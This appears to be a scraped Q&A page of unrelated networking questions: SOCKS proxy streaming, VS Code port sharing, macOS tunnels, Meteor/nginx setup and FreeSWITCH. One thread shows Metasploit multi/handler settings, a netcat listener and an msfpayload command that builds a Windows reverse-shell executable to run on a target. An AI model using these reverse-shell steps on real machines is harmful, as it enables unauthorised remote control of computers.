Stream radio using SOCKS in a terminal - proxy

I want to listen to the online radio "tunein.com" via terminal, but there is a limitation: the website is blocked on my network, so I have to use proxy to access it.
I've set up a SOCKS 5 proxy for this purpose, but I do not know how to use it from the command line.
I tried MPlayer in my terminal, but I do not know how to enable a SOCKS proxy;there is no setting like socks_proxy=localhost:1080
This works with chainproxy on Firefox, but that requires a GUI
This works with Google Chrome, but that requires a GUI
How do I use a command-line program like MPlayer to use my SOCKS proxy?

I did not find anything about socks proxy support in the documentation of mplayer.
But you can use curl to access your socks proxy and pipe the audio stream into mplayer.
The following command line plays a radio stream through a local socks5 proxy listening on port 1080:
curl --socks5 localhost:1080 http://ibizaglobalradio.streaming-pro.com:8024 | mplayer -quiet -cache 1024 -
You might experiment a bit with the cache size or not need to use the cache at all.

You can use tsocks, which is a program to start other programs using a socks proxy server.
For example use this to listen to a playlist with mplayer:
tsocks mplayer -playlist http://bassdrive.com/bassdrive.m3u
The socks server I use is on port 5000 on my localhost. Therefore I’ve put the following in my /etc/tsocks.conf
server = localhost
# Server type defaults to 4 so we need to specify it as 5 for this one
server_type = 5
# The port defaults to 1080 but I've stated it here for clarity
server_port = 5000

Related

Is it possible in vscode liveshare to share port 443 (https)?

I'm trying to share the port 443 from my development machine (win10) to my laptop (os x) using the amazing Live Share feature of Visual Studio Code.
On the dev machine I can access the service (running behind an nginx reverse proxy), so server is running fine.
VS Code doc mention a 1:1 mapping for the port "unless it's already in use".
Checking with sudo lsof -P -i TCP -s TCP:LISTEN on the mac, I can confirm 443 is not in use.
But the port on the mac is mapped to a random port (50150 in this case) instead of 443.
I guess I'm lacking some rights to open a sub 1000 port on os x.
Does anyone know what I can do (I mean other then running vscode as root)
Thanks
Short answer (for anyone who would find this later) : not possible!
Restricted ports are ... restricted.
And as I said in the question i don't want to run vscode as root.
But what I ok to run as root is a small utility to do port forwarding.
So I'm now using portforward (npm -> https://www.npmjs.com/package/portforward ) to do just that, and everything works fine.

Software network interface tunnel to localhost on OSX

I want to verify that my network monitoring program on Mac can handle network interfaces that come and go. For example, the user could attach a Wifi adapter via Thunderbolt, and my program must notice that.
So, I set up Python server to run in in localhost:8000. Running wget http://localhost:8000 on the command line gives me a valid response from the Python server. Direct communication with the localhost succeeds. So far so good.
Next, I wrote a Python script, setting up a software network interface, tunneling traffic from 10.0.2.1 to localhost. However, the tunnel is obviously not correctly set up because the script hangs on the wget part:
import os
try:
os.system("ifconfig gif6 create")
os.system("ifconfig gif6 inet 10.0.2.1 127.0.0.1 up")
os.system("wget http://10.0.2.1:8000")
finally:
os.system("ifconfig gif6 destroy")
What am I doing wrong when trying to set up the 10.0.2.1 <-> 127.0.0.1 tunnel? There is probably something wrong in the ifconfig commands but I'm unable to figure it out.

Standalone multi/handler reverse_tcp

Sorry for my english.
Using metasploit I generated an exploit for windows 7 with windows/shell/reverse_tcp payload.
Then I waiting connection using msfconsole:
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.182.129
set LPORT 4444
exploit
I am successfully connected to command line of windows.
However I need to expect connection without using metasploit. I found how to create standalone module, but it was only for an exploit.
I need standalone multi/handler reverse_tcp or simply the code which listens to a certain port and then gives access to command line.
I don't really know what your constraints/restrictions are.
My guess is that, you want to "receive shells" on a computer without metasploit installed on it.If that's the case, you could use msfd(metasploit daemon installed on a different computer) or simply netcat,socat,...
What do you think of this:
listening with netcat on 192.168.1.2# nc -l -p 4444
Using a shell_reverse_tcp instead# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 X /root/darkbird.exe
Execute darkbird.exe on the target

How to control where Meteor runs

I'm installing Meteor (framework) on my AWS EC2 (micro) instance and followed the instructions and after creating a test project I ran meteor on that directory giving me the expected
[[[[[ /var/www/html/meteortest ]]]]]
Running on: http://localhost:3000/
But I can't navigate to my server's localhost in my browser to see the hello world example project. Is there a way I can make meteor work on something like :
http://mydomain.com/meteortest/
or
http://mydomain.com/meteortest:3000
The way that Meteor sets the ROOT URL is by using an environment variable called ROOT_URL:
http://docs.meteor.com/#meteor_absoluteurl
So you could run your Meteor instance like so: ROOT_URL="http://mydomain.com/" meteor --port 80
However, if you want to have the meteor instance served from a folder (like http://mydomain.com/meteortest), you will have to use nginx to forward ports (see Tyr's example) but replace the line:
location / {
with:
location /meteortest {
and change your ROOT_URL appropriately. If you still can't access your domain from outside, you may have not set your security groups properly for EC2. You have to open up port 80. More information on how to do this can be here: http://docs.amazonwebservices.com/AWSEC2/latest/UserGuide/using-network-security.html
You can setup nginx to proxy port 3000 to your domain. Something like:
server {
listen 80;
server_name meteortest.mydomain.com;
access_log /var/log/nginx/meteortest.access.log;
error_log /var/log/nginx/tmeteortest.error.log;
location / {
proxy_pass http://localhost:3000;
include /etc/nginx/proxy_params;
}
}
Please see http://wiki.nginx.org/HttpProxyModule for more information.
However, running meteor on port 3000 is a development environment. If you want to use it in production, please run "meteor bundle", and then follow the README inside the generated tarball.
I think the problem is that port 3000 is likely blocked by amazon's firewall. You could look at opening it up, try Tyr's solution, or try just running meteor with
meteor --port 80
You may need root permissions (i.e. sudo) to do this.
Running directly on port 80 would require root privileges, which you don't really want your web server to run as -- starting it as root and deescalating to a regular user is possible, but not really ideal as well, as you may find that a programming bug at some time forgets to deescalate privs and you will not see any errors from that.
In many cases, I don't really want/need to run a load balancer to use multiple core, especially if I'm runnning on AWS single core t1 or t2 instance types, which I just scale out as I need them -- hence the best advice I have seen is to simply use the Linux kernels ability to do port forwarding, mapping port 80 to port 3000, like this
$ sudo iptables -A PREROUTING -t nat -i eth0 -p tcp \
--dport 80 -j REDIRECT --to-port 3000
Nice and easy and nothing else to do -- and super efficient at the same time as no extra processes are involved in serving the requests.

How do I call a local softphone on freeswitch?

I've set up a local softphone on freeswitch with the extension 1000. It connects and I can play the tetris theme etc. I would like to call this softphone using a freeswitch command. Can anyone help?
I know it's to do with sofia and originate commands but I can't get them to work
you can use:
originate user/1000 &echo()
this will connect your phone to the freeswitch to an internal echo function
are you sure your softphone is registered? This command in CLI should list all registered users:
sofia status profile internal reg
Originate command connects two endpoints, so you ought to have some other SIP destination or extension to connect with.
Here you can use the music or the echo endpoints, for example: http://www.iptel.org/service
Just use:
originate sofia/profile/USER#yourserver.com. But if your developing web-based apps, the enable mod_xml_rpc and use REST to send commands
while trying to run freeswitch server
error : Cannot lock pid file /usr/local/freeswitch/run/freeswitch.pid
This can be solved in linux(fedora/centos) by following below syntax
1)open terminal
2)press su (to move admin root)
3)enter password
apply the following command
4)netstat -npl
then it show all the ports runnning
find port running for freeswitch
ex:
tcp 0 0 127.0.0.1:8021 0.0.0.0:* LISTEN 708/freeswitch
5)fuser -k 708/tcp
use the number given in response
ex:710
6)kill -9 710
it worked in my system i hope help to run again your freeswitch server thank you

Resources